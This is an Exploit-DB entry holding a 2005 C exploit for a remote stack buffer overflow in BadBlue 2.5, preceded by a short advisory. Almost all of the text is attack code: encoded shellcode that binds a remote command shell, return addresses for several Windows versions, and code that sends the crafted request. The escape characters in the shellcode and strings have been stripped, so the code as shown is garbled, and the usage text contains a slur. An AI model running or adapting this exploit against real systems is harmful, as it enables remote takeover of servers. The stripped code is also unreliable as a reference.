https://www.exploit-db.com/exploits/25167

漏洞细节尚未披露

source: http://www.securityfocus.com/bid/12673/info
 
A remote buffer overflow vulnerability affects Working Resources BadBlue. This issue is due to a failure of the application to securely copy GET request parameters into finite process buffers.
 
An attacker may leverage this issue to execute arbitrary code with the privileges of the affected Web server, facilitating a SYSTEM level compromise. 

/*
BadBlue, Easy File Sharing Remote BOverflow

Homepage:         badblue.com
Affected version: v2.5 (2.60 and below not tested)
Patched  version: v2.61
Link:             badblue.com/bbs98.exe
Date:             27 February 2005

Application Risk: Severely High
Internet Risk:    Low

Dicovery Credits: Andres Tarasco (atarasco _at_ sia.es)
Exploit Credits : class101 & metasploit.com

Notes:

  -6 bad chars, 0x00, 0x26, 0x20, 0x0A, 0x8C, 0x3C, badly interpreted by
BadBlue
  -using offsets from ext.dll, universal.
  -use findjmp2 to quick search into ext.dll to see
   if the offsets changes in the others BadBlue's versions below 2.5
  -if you need the v2.5 for exploitation's pratices, get it on class101.org
  -rename to .c for nux, haven't tested this one but it should works fine.

Greet:

  Nima Majidi
        Behrang Fouladi
  Pejman
  Hat-Squad.com
  metasploit.com
  A^C^E of addict3d.org
  str0ke of milw0rm.com
  and my homy class101.org :>
*/

#include <stdio.h>
#include <string.h>
#include <time.h>
#ifdef WIN32
#include "winsock2.h"
#pragma comment(lib, "ws2_32")
#else
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#endif

char scode[]=
/*XORed, I kiss metasploit.com because they are what means elite!*/
"x29xc9x83xe9xafxe8xffxffxffxffxc0x5ex81x76x0ex03"
"x7bx5bx13x83xeexfcxe2xf4xffx11xb0x5cxebx82xa4xec"
"xfcx1bxd0x7fx27x5fxd0x56x3fxf0x27x16x7bx7axb4x98"
"x4cx63xd0x4cx23x7axb0xf0x33x32xd0x27x88x7axb5x22"
"xc3xe2xf7x97xc3x0fx5cxd2xc9x76x5axd1xe8x8fx60x47"
"x27x53x2exf0x88x24x7fx12xe8x1dxd0x1fx48xf0x04x0f"
"x02x90x58x3fx88xf2x37x37x1fx1ax98x22xc3x1fxd0x53"
"x33xf0x1bx1fx88x0bx47xbex88x3bx53x4dx6bxf5x15x1d"
"xefx2bxa4xc5x32xa0x3dx40x65x13x68x21x6bx0cx28x21"
"x5cx2fxa4xc3x6bxb0xb6xefx38x2bxa4xc5x5cxf2xbex75"
"x82x96x53x11x56x11x59xecxd3x13x82x1axf6xd6x0cxec"
"xd5x28x08x40x50x28x18x40x40x28xa4xc3x65x13x5bx76"
"x65x28xd2xf2x96x13xffx09x73xbcx0cxecxd5x11x4bx42"
"x56x84x8bx7bxa7xd6x75xfax54x84x8dx40x56x84x8bx7b"
"xe6x32xddx5ax54x84x8dx43x57x2fx0execxd3xe8x33xf4"
"x7axbdx22x44xfcxadx0execxd3x1dx31x77x65x13x38x7e"
"x8ax9ex31x43x5ax52x97x9axe4x11x1fx9axe1x4ax9bxe0"
"xa9x85x19x3exfdx39x77x80x8ex01x63xb8xa8xd0x33x61"
"xfdxc8x4dxecx76x3fxa4xc5x58x2cx09x42x52x2ax31x12"
"x52x2ax0ex42xfcxabx33xbexdax7ex95x40xfcxadx31xec"
"xfcx4cxa4xc3x88x2cxa7x90xc7x1fxa4xc5x51x84x8bx7b"
"xf3xf1x5fx4cx50x84x8dxecxd3x7bx5bx13";

char payload[1024];

char ebx[]="x05x53x02x10";  /*call.ext.dll*/
char ebx2[]="xB0x55x02x10"; /*pop.pop.ret.ext.dll thx findjmp2 ;>*/
char pad[]="xEBx0Cx90x90";
char pad2[]="xE9x05xFExFFxFF";
char EOL[]="x0Dx0Ax0Dx0A";
char talk[]=
"x47x45x54x20x2Fx65x78x74x2Ex64x6Cx6Cx3Fx6Dx66x63"
"x69x73x61x70x69x63x6Fx6Dx6Dx61x6Ex64x3D";

#ifdef WIN32
 WSADATA wsadata;
#endif

void ver();
void usage(char* us);

int main(int argc,char *argv[])
{
 ver();
 unsigned long gip;
 unsigned short gport;
 char *target, *os;
 if
(argc>6||argc<3||atoi(argv[1])>3||atoi(argv[1])<1){usage(argv[0]);return -1;
}
 if (argc==5){usage(argv[0]);return -1;}
    if (strlen(argv[2])<7){usage(argv[0]);return -1;}
    if (argc==6)
 {
        if (strlen(argv[4])<7){usage(argv[0]);return -1;}
 }
#ifndef WIN32
 if (argc==6)
 {
   gip=inet_addr(argv[4])^(long)0x93939393;
  gport=htons(atoi(argv[5]))^(short)0x9393;
 }
#define Sleep  sleep
#define SOCKET  int
#define closesocket(s) close(s)
#else
 if (WSAStartup(MAKEWORD(2,0),&wsadata)!=0){printf("[+] wsastartup
errorn");return -1;}
 if (argc==6)
 {
  gip=inet_addr(argv[4])^(ULONG)0x93939393;
  gport=htons(atoi(argv[5]))^(USHORT)0x9393;
 }
#endif
 int ip=htonl(inet_addr(argv[2])), port;
 if (argc==4||argc==6){port=atoi(argv[3]);} else port=80;
 SOCKET s;fd_set mask;struct timeval timeout; struct sockaddr_in server;
 s=socket(AF_INET,SOCK_STREAM,0);
 if (s==-1){printf("[+] socket() errorn");return -1;}
 if (atoi(argv[1]) == 1){target=ebx;os="Win2k SP4 Server Englishn[+]
Win2k SP4 Pro.   Englishn[+]            Win2k SP- -      -";}
 if (atoi(argv[1]) == 2){target=ebx2;os="WinXP SP2  Pro. Englishn[+]
WinXP SP1a Pro. Englishn[+]            WinXP SP-  -    -";}
 if (atoi(argv[1]) == 3){target=ebx2;os="Win2003 SP4 Server Englishn[+]
Win2003 SP- -      -";}
 printf("[+] target(s): %sn",os);
 server.sin_family=AF_INET;
 server.sin_addr.s_addr=htonl(ip);
 server.sin_port=htons(port);
 if (argc==6){printf("[+] reverse mode disabled for this exploitn");
 printf("[+] get the source at class101.org and update
yourself!n");return -1;}
 connect(s,( struct sockaddr *)&server,sizeof(server));
 timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 switch(select(s+1,NULL,&mask,NULL,&timeout))
 {
  case -1: {printf("[+] select() errorn");closesocket(s);return -1;}
  case 0: {printf("[+] connect() errorn");closesocket(s);return -1;}
  default:
  if(FD_ISSET(s,&mask))
  {
   printf("[+] connected, constructing the payload...n");
#ifdef WIN32
   Sleep(1000);
#else
   Sleep(1);
#endif
   strcpy(payload,talk);
   memset(payload+29,0x90,520);
   if (atoi(argv[1]) == 1||atoi(argv[1]) == 2)
   {
    memcpy(payload+29+492,&pad,4);
    memcpy(payload+521+4,target,4);
    memcpy(payload+536+1,pad2,5);
   }
   else
   {
    memcpy(payload+29+485,&pad,4);
    memcpy(payload+514+4,target,4);
    memcpy(payload+529+1,pad2,5);
   }
   strcat(payload,EOL);
   memcpy(payload+36+3,scode,strlen(scode));
   if (send(s,payload,strlen(payload),0)==-1) { printf("[+] sending error 1,
the server prolly rebooted.n");return -1;}
#ifdef WIN32
   Sleep(2000);
#else
   Sleep(2);
#endif

   printf("[+] size of payload: %dn",strlen(payload));
   printf("[+] payload sent.n");
   return 0;
  }
 }
 closesocket(s);
#ifdef WIN32
 WSACleanup();
#endif
 return 0;
}


void usage(char* us)
{
 printf("USAGE:n");
 printf("      [+]  . 101_bblu.exe Target VulnIP (bind mode)n");
 printf("      [+]  . 101_bblu.exe Target VulnIP VulnPORT (bind mode)n");
 printf("      [+]  . 101_bblu.exe Target VulnIP VulnPORT GayIP GayPORT
(reverse mode)n");
 printf("TARGET:                               n");
 printf("      [+] 1. Win2k  SP4  Server English (*)n");
 printf("      [+] 1. Win2k  SP4  Pro    English (*)n");
 printf("      [+] 1. Win2k  SP-  -      -          n");
 printf("      [+] 2. WinXP  SP2  Pro.   English    n");
 printf("      [+] 2. WinXP  SP1a Pro.   English (*)n");
 printf("      [+] 2. WinXP  SP-  -      -          n");
 printf("      [+] 3. Win2k3 SP0  Server Italian (*)n");
 printf("      [+] 3. Win2k3 SP-  -      -          n");
 printf("NOTE:                                      n");
 printf("      The exploit bind a cmdshell port 101 orn");
 printf("      reverse a cmdshell on your listener.n");
 printf("      A wildcard (*) mean tested working, else, supposed
working.n");
 printf("      A symbol   (-) mean all.n");
 printf("      Compilation msvc6, cygwin, Linux.n");
 return;
}
void ver()
{
 printf("
n");
 printf("
===================================================[0.1]=====n");
 printf("        ================BadBlue, Easy File Sharing
2.5===============n");
 printf("        ================ext.dll, Remote Stack
Overflow===============n");
 printf("        ======coded by
class101==================[Hat-Squad.com]=====n");
 printf("        =====================================[class101.org
2005]=====n");
 printf("
n");
}